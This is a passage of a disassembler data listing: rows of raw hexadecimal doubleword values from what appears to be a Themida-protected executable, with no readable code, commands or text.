		dd 5CF1D300h, 3D9D2701h, 67B7DBFh, 0CA061477h, 7E018CE4h
		dd 9E37F424h, 337BB02Eh, 0C8959715h, 5E7ED659h,	5C3247Ch
		dd 0C46CF6D0h, 0B3FB7CD4h, 0AADFED95h, 3E0C4ACCh, 66EDE4Fh
		dd 0B10994ECh, 1637F17Ch, 7AB93781h, 31DD1581h,	17F459C9h
		dd 0F94A8B44h, 0C4E62C1h, 0E0270000h, 0E4BE6FC0h, 7D58095Ah
		dd 1AF3A4F5h, 0B08C3D8Eh, 0B24BD92Ah, 0E435BB97h, 82D35533h
		dd 1F70F4D1h, 0B708266Eh, 0C93D7C0Ah, 937F092h,	579F3533h
		dd 0AD86BB39h, 9C787921h, 1E7E6E16h, 0C50D0EC6h, 0B6FEFFA7h
		dd 14EFF098h, 0ACF5E48Ch, 0A06505EDh, 4E08EEF9h, 0B8BF5E56h
		dd 81000006h, 0C2BA2095h, 0BE089D31h, 0E4FCFE40h, 0C9A53457h
		dd 7CDE69C1h, 9E37F4E4h, 2F6EB02Eh, 37F0E4DBh, 0A5338BFBh
		dd 0B90A2870h, 0FAA2C008h, 135BB64Bh, 0E42298D7h, 0F46437F0h
		dd 0C2462394h, 4CCA2A1Ah, 0DC9BC40Dh, 95DD1231h, 87DFCF77h
		dd 2CAFCD1Bh, 3C72C0EDh, 0E48E77DCh, 3A724A89h,	0B8FDBh
		dd 1216800h, 9B25FFB0h,	36BE994Ah, 0CF5B34E5h, 6BF1CD7Eh
		dd 0D6738C1Ah, 722374FAh, 10C11294h, 0AD5EAF33h, 49F64765h
		dd 93067CBBh, 724837F0h, 28579F74h, 0BE66C64Ch,	0D95775BDh
		dd 0BAE25897h, 0B42431C2h, 40D9A45Ch, 22408859h, 514026D1h
		dd 5DF75E56h, 0B9000001h, 0BB39579Fh, 0BAC43A79h, 850631C2h
		dd 87771F3Dh, 1617CF27h, 3032B0CEh, 92D17493h, 3192EABDh
		dd 75F33DD2h, 459C0773h, 86C5FF97h, 31C27230h, 2A82E252h
		dd 1F485D9Ch, 58C837EEh, 12A0A2B0h, 7ECD32B7h, 0B00A95EDh
		dd 0AF37EEF5h, 0FEE4F396h, 0B55829FEh, 55h, 15CF177h, 6F69E26h
		dd 0D535B795h, 0C1452257h, 0BA8E0443h, 60D031C2h, 0EA3B7A08h
		dd 3237EEDEh, 0BF0F1AC2h, 0CA37EE9Eh, 0BCBD65F1h, 0FE859E1h
		dd 6700DB83h, 2039C0A0h, 48265B79h, 0D62E1EC6h,	2A2D755Bh
		dd 0AC2C58h, 0D81A0000h, 0EE8A2599h, 9DF56537h,	3F9092E3h
		dd 5EAFDD31h, 8D35C19Ah, 13FF3D9Dh, 9DA23185h, 79C1429Ah
		dd 0D6B2B35Bh, 0C09DD250h, 6BCB4D2Bh, 9058AEEDh, 0A7A31C2h
		dd 0B1F9FAB2h, 0BFFE3A82h, 31C2904Bh, 5BBB1B8Bh, 4C6AB2B3h
		dd 0CCC040FBh, 0B90131C2h, 56EB4A9Bh, 0D64F8E0Ch, 4637F13Fh
		dd 472358D6h, 0E3BF70C1h, 6A07F85Dh, 0B1E9445Ah, 0A2352h
		dd 95B5FC00h, 2FB99344h, 0CA522DDEh, 63EFC879h,	0FF856112h
		dd 6A8F20AEh, 6B7088Eh,	0A455A628h, 41F243C7h, 0DD8ADBF9h
		dd 90BA104Fh, 6DC37F0h,	3DC39F08h, 0D5F33BECh, 579F9A84h
		dd 48909139h, 0A4CAD92Ah, 0DC000004h, 0FD7F5D92h, 97E176A5h
		dd 0D6B1DA19h, 0E95937EEh, 21FE3341h, 40BA459Dh, 5F37EEA6h
		dd 4C814346h, 5242EA70h, 35997FFAh, 3150582Ah, 12000002h
		dd 0C2BA3E95h, 0AB069B31h, 0AF9F47D1h, 0D292D14Fh, 4C37F4DAh
		dd 0E1295EDCh, 79C172C3h, 70A5B35Bh, 74640C96h,	0F058ED1Ch
		dd 0F09A5DB1h, 0AD0D7D37h, 132F2D2Fh, 8DB0E6Dh,	0F09F75C9h
		dd 0C5259537h, 57A0DF6Dh, 0C731DCE0h, 9437F257h, 0A1D94A89h
		dd 95742h, 0C9E93000h, 63EDC778h, 0FE866112h, 9723FCADh
		dd 33B99546h, 9EBB54E2h, 3AEB3CC2h, 0D889DA5Ch,	752677FBh
		dd 11BE0F2Dh, 91CE4483h, 3A1037F0h, 39579F3Ch, 2A489091h
		dd 7B1EB782h, 0AF001E66h, 56521E04h, 192D55Eh, 9F970000h
		dd 90913957h, 1BD92A48h, 0BA249AD9h, 0F66631C2h, 90DA6F9Eh
		dd 0D7DED312h, 0CE3E37EEh, 0B93F1B50h, 11C92111h, 0EEA7B406h
		dd 0F792AB37h, 2A30FAE0h, 4AB158h, 92730000h, 0A1F9835Dh
		dd 1593DD72h, 3DC19ED3h, 0C24DA595h, 37EEDE61h,	45205597h
		dd 0AA2515BDh, 37EE9954h, 9319F576h, 0FF6FDB33h, 3B4D7F81h
		dd 0EBDA00EBh, 0D129890Fh, 58BC0E19h, 9AB337EEh, 7002E8FFh
		dd 0F9B95829h, 7B000000h, 0BB39579Fh, 3711AC86h, 0B51505ADh
		dd 0DC51D0Dh, 66F0CAFFh, 0F576CEBEh, 0EAEB9319h, 0DBDC84A2h
		dd 0C2F77593h, 0CABA62E4h, 0FA561172h, 731C30Dh, 978183BFh
		dd 4F707523h, 85DD31ACh, 8DFD31C2h, 0E87DDC2Dh,	40E1209Eh
		dd 0D837F156h, 0DBB5EA68h, 7FDF6340h, 574CC201h, 1E8E37ECh
		dd 270338C6h, 10EE23A1h, 0B8F6E68Eh, 101DA9FFh,	53B40C55h
		dd 0DB40C6A2h, 445A2448h, 0D2180B8h, 0E6000008h, 7D2E7F9Fh
		dd 17C819A3h, 0B263B43Ch, 4BFC4DD9h, 0A98E96Fh,	0F27854F1h
		dd 9012F0A1h, 2DB18E3Fh, 0C5E32BDCh, 0FA39C774h, 37F09684h
		dd 92F2F0C6h, 0A0F8845Dh, 3FDF431Fh, 90D8DD4Eh,	0EB205176h
		dd 1272E986h, 963EC6A1h, 86C846A6h, 0C264F347h,	0B8921331h
		dd 1576CE2Eh, 80FE1C64h, 648BFF3Eh, 6AA931C2h, 31C26414h
		dd 0FA6AC636h, 818341A2h, 696893C6h, 0C37DD534h, 0F8845D92h
		dd 0B9D71FA0h, 0AAC81011h, 921EF72Ch, 44CAD93Ah, 0DC000002h
		dd 94125CF1h, 0F4DA5555h, 9D45B537h, 0F09A3892h, 7B1E3737h
		dd 2431866Ch, 1DD3D58h,	95FF0000h, 31C2BA3Eh, 3EBC069Bh
		dd 0F4DA37FFh, 0C4034537h, 37F09B4Eh, 0AD330F90h, 1989F54Dh
		dd 1E669Bh, 8D014082h, 0CD37F09Bh, 0F3A4055Dh, 36E58DABh
		dd 9AD957A1h, 31DCE459h, 31EC51C1h, 0BF4A8990h,	7162887h
		dd 0A8EF0000h, 0AC863788h, 4520D122h, 0E2BB6CBDh, 78540556h
		dd 0FA13A1F2h, 0ACFD835Fh, 4A9B1DFBh, 0E738BC99h, 7FD0EE36h
		dd 0B10544D2h, 0D137F097h, 579FFDFBh, 4E839139h, 7A00DC71h
		dd 4482E2D2h, 0E0DA91B2h, 81025A5Dh, 0A8731B39h, 3EC6A1D6h
		dd 0D9F691E6h, 64227391h, 21C9E72Fh, 785ED931h,	2F5E562Bh
		dd 12Fh, 39579FF1h, 203E86BBh, 0CD0210C8h, 91126AF2h, 7BDA2B49h
		dd 0DF1E9CE6h, 37EED7CAh, 2732DA4Ah, 37EEA7D7h,	1D4B3CCh
		dd 582A311Bh, 3CD2h, 5D929400h,	709FF715h, 0D41391DBh
		dd 37EEDE53h, 9C98A7A9h, 0A76D5BC6h, 0ACE87269h, 146C764Eh
		dd 859038A8h, 37EEF835h, 5BA3D82Ah, 4DA5953Dh, 604611F8h
		dd 17582A0Fh, 0ABh, 28579FD9h, 2D1DC54Dh, 482425CDh, 0D1191AC2h
		dd 0DE3EC8A2h, 0CFED3536h, 34A5C37Eh, 1C6431C3h, 0EDEFADFEh
		dd 2F409F26h, 1DFA6BB3h, 0A901F199h, 0AC8AE57Ah, 3292822Ah
		dd 7D2C75B4h, 0FC6C37F1h, 2B3A3C7Eh, 0C11E910Dh, 0AD2160DEh
		dd 0ED37EC31h, 0C8A4257Dh, 6440F142h, 0F09E79DEh, 0A424459h
		dd 5DFABh, 5171B800h, 0EB754F00h, 860EE99Ah, 1FAB8435h
		dd 0BB411DCEh, 26C3DC6Ah, 0C273C44Ah, 601162E4h, 0FDAEFF83h
		dd 994697B5h, 9476CC0Bh, 0C29837F0h, 3DC39FC4h,	0B7F33BECh
		dd 0C2BA0278h, 74D44431h, 5DE7C1F6h, 9FBAA405h,	90913957h
		dd 0CAD92A48h, 53h, 3387C608h, 5331C2BAh, 9FD18BE3h, 83913957h
		dd 0ADEB734Eh, 1421A003h, 3FC018F8h, 265BD9F7h,	0B26AC24Ch
		dd 0B13F41C3h, 59B80FCBh, 8087DC34h, 0EB6987CFh, 47B815E9h
		dd 0E73FDA43h, 43C6C886h, 934461ECh, 0B4AF46EAh, 6106B976h
		dd 2E2A09h, 9F3C0000h, 83913957h, 472F9481h, 4E3EE66Ah
		dd 0EBD62D10h, 0B3397C23h, 2F87E72Ah, 0C21F2BA4h, 19009931h
		dd 64E20048h, 23CB552Fh, 907ADB33h, 9139579Fh, 0A75C8183h
		dd 86A126C2h, 3C7A8C80h, 0ED452B51h, 61DF29BEh,	0D8E61D1Fh
		dd 5012D200h, 21A96DF8h, 72A737F4h, 9A26FF96h, 6381C93Ah
		dd 773CBBBh, 9CE41997h,	347C2D7Eh, 0B7912A05h, 3595852Dh
		dd 953D9D8Dh, 1CF651E6h, 9AFAEA92h, 0C134DD1Ch,	56E431C7h
		dd 0A780A317h, 69F5CE3Dh, 575D1C1h, 0AAF227A5h,	64A6348Ch
		dd 72CA562Fh, 0D8BA9F1h, 80368CCBh, 0E8583DA7h,	2F712F90h
		dd 0A7809AF0h, 0F44CBC3Dh, 650D2B73h, 59D721B6h, 8006E217h
		dd 0F5F89D28h, 8A183B8Bh, 53F5F74Bh, 47A71723h,	0BCB45FE2h
		dd 0A69A150h, 45Ch, 7DCEEE35h, 1768F2CCh, 0B2038B66h, 4B9C2801h
		dd 0E738BE9Ah, 0C9A54059h, 6341F243h, 2DF90E1h,	347C2D7Eh
		dd 8A18C516h, 0F08AF74Bh
		dd 43411737h, 0F8845D92h, 0B9D71FA0h, 0D3BF393Bh, 3B3ED0DDh
		dd 2179D95Fh, 0A9C70FC0h, 9AB80001h, 535527F2h,	0EABEED60h
		dd 7BD02856h, 5D7BC39Ch, 0C07B610Ch, 30325E55h,	0F4000000h
		dd 1345CF1h, 941347D3h,	52910F6Fh, 37EF7429h, 0AEE361D1h
		dd 41FC4DD1h, 37EE76CFh, 0A783B2FAh, 29897921h,	0C64A27D8h
		dd 3C6BF1Eh, 92D10000h,	0BA3E1B50h, 0C2BACB3Fh,	439B0B31h
		dd 0B45C7AC2h, 0FC4D6BB3h, 40BE089Dh, 57ECC9FEh, 5F4FF779h
		dd 71CA7FFh, 8737EED7h,	86649917h, 0E9F4AC04h, 37EEA491h
		dd 0C392758Eh, 582A2FDDh, 9721FB30h, 7DA7FFEFh,	28h, 125CF13Fh
		dd 0DECC5594h, 0DC4C37EEh, 0B2E1295Eh, 96EE4ED8h, 9E7BD3DEh
		dd 5F7837EEh, 2DC7ADB8h, 197E582Ah, 40000001h, 33B19092h
		dd 32DA603Ch, 0DAAB0442h, 4E96176Fh, 3B70B230h,	0EB5FDA5Eh
		dd 2B31C25Dh, 0AAAB63BBh, 9FA048CEh, 90913957h,	1BD92A48h
		dd 0E81F019h, 57D5CC1Dh, 0C246A218h, 1C74E431h,	0C2430791h
		dd 0E1535531h, 22CE2704h, 5F70ACEAh, 95B3A9A8h,	5674BC3Dh
		dd 0EE0C5405h, 0D8603B70h, 0F5CF4030h, 7BD3C36Bh, 357F14C3h
		dd 95CB78B7h, 9B0B37EFh, 0C56EB4Ah, 0E0578C8Eh,	0B150BAC5h
		dd 97EF4FD5h, 5B27CA09h, 0A3A531DCh, 0E778A752h, 569513EDh
		dd 3D9960E0h, 0EE5AB222h, 7FBE007Eh, 3D99600Bh,	0F583DB4Bh
		dd 0D5EE4C0h, 95FA805Ch, 4A873FA6h, 9DB3124Ah, 76000002h
		dd 0DBE0F2Fh, 0A758A933h, 42F344CCh, 0DB8CDD69h, 9A2879FFh
		dd 8208E401h, 20A28031h, 0BD411ECFh, 5573BB6Ch,	8AC95704h
		dd 37F08834h, 9F828056h, 6AE01FC3h, 0AC31C2BAh,	0B7FBE3Ch
		dd 4B31C2BAh, 0C8FD7BDBh, 0CFBF67EBh, 1D651677h, 327F81FFh
		dd 3D91D0EBh, 5D31C267h, 0CB54AFEDh, 0CDB71870h, 94125CF1h
		dd 0EEDECC55h, 7FBE4C37h, 37EE9E0Bh, 0D37BDB4Bh, 0EE9E76C8h
		dd 1EAA8337h, 119B7576h, 2206869h, 0F0B56A5Ah, 0A9C24929h
		dd 2E11F7EEh, 0BFC8582Ah, 8A000000h, 9139579Fh,	862EB490h
		dd 0C2BF3D7Bh, 0BEFD3F31h, 31C2BF48h, 0BFD52968h, 85F531C2h
		dd 0E061B929h, 78297A98h, 0BB6A1230h, 295EDC26h, 53D5B350h
		dd 35B4BF3h, 0EB093675h, 3BC937EEh, 0EE8386FCh,	53D5B337h
		dd 0D62787F7h, 8008E318h, 1A64F928h, 49255A9Ch,	0EC0A52C3h
		dd 71FC5444h, 31DD51ADh, 0AADF5DCDh, 46F748CEh,	0B67FE46Ah
		dd 2A4A864Ch, 18E93F2h,	20670000h, 24FEAF00h, 0BD98499Ah
		dd 5A33E435h, 0F0CC7DCEh, 728B196Ah, 2475FBD7h,	0C2139573h
		dd 5FB03411h, 0F74866AEh, 97DBC4Ah, 4937F089h, 50927573h
		dd 0C2BABD11h, 156DDD31h, 0E132B894h, 8D11EE23h, 4E6CB435h
		dd 579F13FDh, 48909139h, 0E275074Ch, 0EADA8204h, 0D7DE9ACh
		dd 0AEED2FADh, 31C2F458h, 51B20A7Ah, 0BC3A58A0h, 8A6E32BAh
		dd 8DE53915h, 369126D5h, 0F472D25Ch, 0EE5CD4B5h, 0C39DD237h
		dd 49A19139h, 0BBC56DDDh, 0A2EAE7A2h, 3FD43384h, 0D8800AE4h
		dd 0CB0A88E8h, 31C26D1Eh, 0E5E68EFEh, 0E8D77F9Dh, 0A439F89Fh
		dd 5B9ADC5Ah, 3D9A08E7h, 0D15FB727h, 0B6775592h, 455C53Bh
		dd 45ED0B53h, 3BE36744h, 53711831h, 0D0AA431Eh,	4EAE9E46h
		dd 0F2D75F6h, 0A2CA5FBEh, 19E65FC6h, 43C12120h,	6A371B04h
		dd 76B54325h, 2973B400h, 8861D242h, 0F3F49CFCh,	1AA07CABh
		dd 7A228272h, 0F1B05770h, 5594125Ch, 2F5FD174h,	0A1361394h
		dd 0A7973FC5h
dword_55CF68	dd 3796E747h, 9BDA58A2h, 2929EE66h, 8D8E36A6h, 18D62745h
					; DATA XREF: Themida_:005218FDo
		dd 0A8F19C16h, 0B00861FAh, 21C9E72Fh, 8CC48716h, 0DCBB04B7h
		dd 0D832F4F6h, 278333DAh, 0E8064ECFh, 6F9EE697h, 9D1FFD92h
		dd 45A505F5h, 37C39C9Dh, 0FE33858Fh, 0ED429A24h, 0CFED352Ah
		dd 0B28BC07Eh, 368E7E26h, 0D14F6DB5h, 8F37C39Ch, 308F479Fh
		dd 14h,	11509242h, 31C2BABDh, 0EC156DDDh, 44D0A9DEh, 9A54AC9Ch
		dd 9038589Fh, 8129478Fh, 771FA380h, 6E169876h, 630B916Dh
		dd 58008662h, 4AF27E57h, 3EE66E49h, 31D9633Dh, 5D545515h
		dd 4C581h, 0ED830000h, 242C8704h, 4B3B685Ch, 34890000h
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 50243C89h
		dd 9D0A5868h, 24048B73h, 4C481h, 0E8C10000h, 0C9143505h
		dd 0C68905AEh, 3C8B5458h, 4C48124h, 68000000h, 64CAh, 8F243489h
		dd 34FF0847h, 0C4815F24h, 4, 5324348Bh,	0C381E389h, 4
		dd 4C381h, 1C870000h, 3FE95C24h, 0E0FFFA47h, 0E8273D0Eh
		dd 16D7F9Ah, 621E559Dh,	34EBB8BAh, 0C5030632h, 77B8E0FFh
		dd 8CED0931h, 0E50570EBh, 476F1C55h, 0A28407DDh, 8D8D6530h
		dd 6323663h, 2BA58D89h,	9E8062Ch, 99000000h, 0D499129h
		dd 0F88E97B6h, 890F5BF9h, 0Ch, 6840Fh, 810F0000h, 0
		dd 12D985C7h, 601C062Ch, 6E80000h, 99000000h, 784EBC2Ch
		dd 498D89FEh, 58062C2Ah, 29C185C7h, 62Ch, 0FE80000h, 0F9000000h
		dd 62B2EFACh, 3AA94146h, 95F2F09Bh, 0B70FEF45h,	0B5FF5BFEh
		dd 62C11F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	22C35242h, 0ED6C3048h, 66185B11h, 0FF0AA4BAh, 2C15F595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 9B10998Dh, 0C62C9B16h, 6A782Ah, 26B195FFh
		dd 0C08B062Ch, 6CD27DEBh, 1971F497h, 695D5572h,	0DE1E1915h
		dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh
		dd 0F60AF8D8h, 6D881DDDh, 3656A724h, 0D6530C9Bh, 0C68DEE39h
		dd 5BE1FAE9h, 0C889EB88h, 9335F770h, 0A5D607C6h, 82013818h
		dd 99C63DE7h, 0CD00F1DBh, 0DFD28ED1h, 0B82FDFEh, 0FFA27D10h
		dd 0C5DECB72h, 43BDC82Ch, 7A89FD2Fh, 776713D2h,	0CB908055h
		dd 2F35EBC4h, 14BF9C9Fh, 0E9733CE0h, 0A7h, 44C048BBh, 0BAF5CC47h
		dd 66D138F3h, 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h
		dd 9BB69CB5h, 0B6F37760h, 9EB794A9h, 7D60D760h,	9EA9BD89h
		dd 729EBD8Ch, 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h
		dd 94A19E96h, 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch
		dd 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h
		dd 0B1B6D000h, 527155C3h, 0DA43700h, 910D3C2h, 0Eh, 9 dup(0)
		dd 0E9000000h, 1052h, 32396268h, 450CE906h, 7368FFFAh
		dd 0E906323Ah, 0FFFA4502h, 323B3268h, 44F8E906h, 7068FFFAh
		dd 0E906323Ch, 0FFFA44EEh, 323CE568h, 44E4E906h, 0B068FFFAh
		dd 0E906323Dh, 0FFFA44DAh, 323E4B68h, 44D0E906h, 568FFFAh
		dd 0E906323Fh, 0FFFA44C6h, 323FBD68h, 44BCE906h, 8D68FFFAh
		dd 0E9063240h, 0FFFA44B2h, 32417068h, 44A8E906h, 0EF68FFFAh
		dd 0E9063242h, 0FFFA449Eh, 32456F68h, 4494E906h, 8C68FFFAh
		dd 0E9063246h, 0FFFA448Ah, 0C516367Dh, 5FB03A14h, 0FA4BD3AEh
		dd 93E47049h, 2F8006E2h, 11ED08A1h, 0AB893A8Bh,	4A27D829h
		dd 7CC475C6h, 0D2600D5Eh, 0F0823F93h, 8B895F37h, 0DA845D92h
		dd 0C2BA279Bh, 97F76731h, 5876BE3Fh, 4967AFB0h,	0BA0499F8h
		dd 0D728FD3Ch, 0F86837EEh, 0DFFD457Ah, 7FC1CF87h, 0EEA4CA40h
		dd 449C0C37h, 0EEA441B9h, 13977437h, 0F78E6A6Bh, 0FFEF9719h
		dd 0BF08F79Fh, 789118D8h, 2FE0C691h, 2097582Ah,	59000000h
		dd 94125CF1h, 0EEDECC55h, 34DC4C37h, 0EE9ED129h, 0D2B5CE37h
		dd 2A2E1D03h, 0E6D458h,	92960000h, 55FD7F5Dh, 448C0D65h
		dd 0BA75C908h, 479531C2h, 7F275BF9h, 0BB1B7BC5h, 0B0361213h
		dd 0A1BF0708h, 81B0F8F9h, 85751DA7h, 0E116D425h, 9E298103h
		dd 31C2BD13h, 0B708266Eh, 7EB9F7F9h, 5B9B9F87h,	1C3A8203h
		dd 35646674h, 0E816D3D2h, 0BC1C1452h, 6710B3FCh, 14BE00Fh
		dd 0ED714E83h, 0E7C80795h, 737EEFFh, 52E74697h,	0EA921EF7h
		dd 0FF299DDCh, 0F96937EEh, 7CBB3999h, 31DD2EBEh, 0B0F270E0h
		dd 984C1D71h, 75CD3D3Dh, 50D6B2E7h, 0EC724EFFh,	866A1887h
		dd 41A0D84Ah, 0DD7h, 85D6F63Dh,	1F70FAD4h, 0BA0B936Eh
		dd 53A43009h, 0EF40C6A2h, 0D1AD4861h, 6B49FA4Bh, 0AE798E9h
		dd 3C843586h, 9220CD1Eh, 0F083FF53h, 4B491F37h,	0BF3DC39Fh
		dd 0CD25B18Ah, 5573BB6Ch, 0E05695D7h, 2231C2BAh, 0FF95AB2h
		dd 94125CF1h, 0EEDECC55h, 18F52A37h, 60D03C94h,	9E5DADB8h
		dd 395237EEh, 2DA1875Eh, 0B2F4582Ah, 0EE8A1F73h, 77CF3F37h
		dd 0DC4Dh, 0FB393B00h, 72982103h, 9F823C94h, 90913957h
		dd 7B862EB4h, 31C2BF3Ch, 94E5034Bh, 205F9BE3h, 31C2BFAAh
		dd 0CE76FAD7h, 0B21282DEh, 5FB3F234h, 7F31C2BFh, 0F1FFB70Fh
		dd 0BF1A70AFh, 0CC3C31C2h, 66B04574h, 0C5C0A9E8h, 78E837EEh
		dd 7288F8FAh, 0D10EE598h, 255A1879h, 2919C14Bh,	82B3DCEBh
		dd 0A1F98901h, 1593DD72h, 0DD2FCBD6h, 0F1CA4B31h, 0BB7D5D87h
		dd 50B0C76Ch, 493F93D2h, 0EF5F3D98h, 0DC118Fh, 9C78297Ah
		dd 4945B9F8h, 15853D98h, 677950B5h, 5F974A86h, 0CC600h
		dd 0C5E52C00h, 5FE9C374h, 0FA825D0Eh, 931FF8A9h, 2FB59142h
		dd 9ABF50DEh, 36E738BEh, 0D485D658h, 712273F7h,	0DBA0B29h
		dd 80CA407Fh, 360C37F0h, 3DC39F38h, 27AF8ABFh, 0D6378F7Fh
		dd 6EBFDD25h, 39579F84h, 2A489091h, 94191BD9h, 30CEAAAEh
		dd 381394ECh, 0BF0708B0h, 9C3B50A1h, 41BF099Eh,	4D8C300Ch
		dd 31C283F9h, 0A149A919h, 8CCB59B1h, 37EEE54Fh,	0B60C4B8Dh
		dd 0D837EEE1h, 34A41068h, 0B00C7D88h, 0F4892F60h, 7CED2CAAh
		dd 9CCA5867h, 40D5842Ch, 5B2C3D18h, 66C6F452h, 9C4DA9E8h
		dd 0FD6D3410h, 0E96D4A7Fh, 86CE0391h, 1E661768h, 2F8F11EFh
		dd 3DD5F9CAh, 70CF0748h, 0C07h,	0B506266Dh, 4FA02A04h
		dd 0EA3BC39Eh, 83D46039h, 1F70F6D2h, 1DD7891h, 9B792A7Bh
		dd 3A17C819h, 6CB465B6h, 0C250FD4Eh, 0F0810F83h, 7B794F37h
		dd 9139579Fh, 85034DE2h, 0EED37546h, 36149537h,	0E141C7A3h
		dd 82C10381h, 37EEA00Ch, 2586DE4Eh, 69E731C6h, 8D932527h
		dd 0F102F9D1h, 7820A280h, 8CA53088h, 0A31C21Ah,	2FB993C8h
		dd 9A505EB4h, 9F10803Dh, 0A2923AC6h, 0C66EDE4Ah, 9A5043BBh
		dd 4047603Dh, 0FD67AF95h, 456651h, 0F1280000h, 5594125Ch
		dd 37EF0934h, 0B1E664D4h, 44FF50D4h, 37EEF5CCh,	3779B5FDh
		dd 0EEF582F8h, 0D954C437h, 37EEF565h, 57D535A5h, 64BCDA22h
		dd 1C434503h, 7E5D820Fh, 0E7C4459Dh, 90F07652h,	0B3589E8h
		dd 0F19B0000h, 5594125Ch, 37F4F146h, 0A3D856C6h, 8ABF3D5Bh
		dd 0B0CE16AFh, 60B8A850h, 0E8064EFFh, 23FD3240h, 15F0F199h
		dd 95F5E58Dh, 2F790E3Dh, 0C62A72B1h, 0E45431C6h, 66AC6466h
		dd 0F634C099h, 2B834F97h, 220689Dh, 9AB800B1h, 850BE71Ch
		dd 31C6752Dh, 52A69E7h,	0A53B8AF7h, 1CC44624h, 5667CC2Ch
		dd 9A50BBC2h, 0AC90362h, 0E82F0000h, 0ECC677C8h, 85601162h
		dd 22FBACFDh, 0B8944596h, 0BA53E132h, 0EC3DC39Fh, 8ADB5D3Bh
		dd 2778FCD9h, 0BF102E76h, 0F1458412h, 1137F086h, 25953D3Bh
		dd 0A231C2BAh, 645C30Dh, 37F4F1BEh, 0BDF270E0h,	97D95775h
		dd 0F08DE258h, 4FC30237h, 8F37F08Dh, 0FB53C31Fh, 72A1E99Ah
		dd 4AC0C2Ah, 0F876C055h, 0DCE4C0B9h, 33980831h,	4A89C484h
		dd 54C5245Ch, 0BA00000Ah, 51025373h, 0EB9CED77h, 86378810h
		dd 1FD021ADh, 0DE6CBD43h, 0C64C28CDh, 64E6C475h, 1856213h
		dd 99B7FFB0h, 0CE0D9B48h, 37F08678h, 9FC6C49Ah,	66DC1B57h
		dd 8631C2BAh, 0C2BAF347h, 47A31331h, 0CECF77D7h, 0BFC06886h
		dd 0E76D49E6h, 47EF4F3Fh, 3EE66846h, 333FDA73h,	72939593h
		dd 3E749893h, 0B0B10544h, 61D131C2h, 0B554A901h, 5643BCA2h
		dd 0FFDA0F5Eh, 0B3F51F77h, 0B7000004h, 94125CF1h, 0BABF1352h
		dd 6FDF31C2h, 0F64A8917h, 1837F4F1h, 0ADF52AA8h, 3DC118Fh
		dd 87DFCF77h, 0FE2D7526h, 6F69E20h, 9BF3FEA6h, 37F08Dh
		dd 64A3216Bh, 31DCE46Bh, 0D25432B3h, 0C94B292Ah, 3DA40969h
		dd 0C34A89C5h, 9892C8Bh, 0A8EF0000h, 0AC863788h, 4520D122h
		dd 0E2BB6CBDh, 78540556h, 0FA13A1F2h, 0ACFD835Fh, 4A9B1DFBh
		dd 0E738BC99h, 7FD0EE36h, 0B10544D2h, 0D137F087h, 579FFDFBh
		dd 0BA66DC1Bh, 38A831C2h, 0ED2230D8h, 0B0318913h, 72A24A68h
		dd 42A87274h, 28702264h, 0C99C7BD0h, 5E5595E3h,	4099Ah
		dd 25955C00h, 0A231C2BAh, 345C30Dh, 5E9EC001h, 0C71FC523h
		dd 0F4740A3Ch, 0E664D437h, 0FA4B69B1h, 3BE30149h, 0C39CF78Ch
		dd 1A59D737h, 31DC6F21h, 880AE869h, 4A18C328h, 0A0D84A8Ah
		dd 8EE41h, 0ED0D5400h, 8711EB9Ch, 22AA8536h, 0BB4720D1h
		dd 57DDB96Ah, 0C2677806h, 5E0F60E6h, 0FCADFE80h, 994A9B1Fh
		dd 35E23351h, 841268A7h, 5E3437F0h, 39579F60h, 2A489091h
		dd 1FA58182h, 5827A977h, 0F9FD0135h, 7E26AC88h,	737F1AB3h
		dd 5C0B0ED3h, 5E558276h, 3712Dh, 3F95EF00h, 9C31C2BAh
		dd 0A3FBD07h, 0C04EA630h, 0B4507C7Eh, 0FA49FCE8h, 876617A2h
		dd 428437F4h, 0F0148F03h, 75FCF37h, 78AD2B9Bh, 92941230h
		dd 5652C1CAh, 0DB3C944Bh, 0F1381B1Dh, 1494E646h, 0D5F33BBCh
		dd 0BF472257h, 17CF2717h, 0B89D368h, 0DC980BCCh, 1E83F331h
		dd 4A89DBB7h, 3492F129h, 9A000008h, 31E23353h, 0CB7CCD57h
		dd 661768F0h, 0FFB0018Dh, 0BE4C9D23h, 0A62C082Dh, 44C6A455h
		dd 0E16542F3h, 7997DF90h, 0AEED7B28h, 37F08558h, 9FA6A47Ah
		dd 90913957h, 0B7822A48h, 1E667B1Eh, 0BA2FA3E2h, 0FF6F31C2h
		dd 4E904E9Fh, 0C2BABB0Fh, 136BDB31h, 5651B298h,	13695Eh
		dd 922B0000h, 0BD883090h, 0F71B59E3h, 0AC8BE30Dh, 2A2h
		dd 0BA3F95BEh, 79C31C2h, 56003FBDh, 8837F4F1h, 8851343Ah
		dd 0D030A8D2h, 0B7D51D52h
		dd 4F6DB566h, 1963F8A7h, 72AC999Bh, 1F9DDBD2h, 0B5F739C7h
		dd 0F0D40076h, 7AD24237h, 0DCABE6EFh, 41A61631h, 4A89EDCEh
		dd 7CAB0A42h, 0E2000007h, 792A7B9Bh, 13C4159Fh,	0AE5FB038h
		dd 47F849D5h, 694E56Bh,	0EE7450F5h, 8C0EEC9Dh, 29AD8A3Bh
		dd 0C1DF27D8h, 0F635C370h, 37F08580h, 9FEEECC2h, 86BB3957h
		dd 0D54644ACh, 9E0BA466h, 35A6963Eh, 3B2BD359h,	0E22A2BE3h
		dd 0B8511CC4h, 9AB800D1h, 54B89E49h, 76F5E55h, 31000000h
		dd 1F541h, 3E955300h, 9B31C2BAh, 0FF3EBC06h, 37F4F15Ch
		dd 90921080h, 653E49B3h, 34131D9h, 0E23AC3BEh, 2101254h
		dd 491522AEh, 0F43CBD15h, 8CD485D6h, 8EEEF06Eh,	0DF0DCE9Eh
		dd 901AF465h, 0E8A0F8E8h, 7049A439h, 0EF2E3CE4h, 37F00D9Bh
		dd 8BEB4BBBh, 7205CE0Dh, 67F531DCh, 9C7BD228h, 9973F43Dh
		dd 0EA4FAF0Fh, 4A8A350Fh, 0AC4AA9E1h, 12000006h, 0A95AABCBh
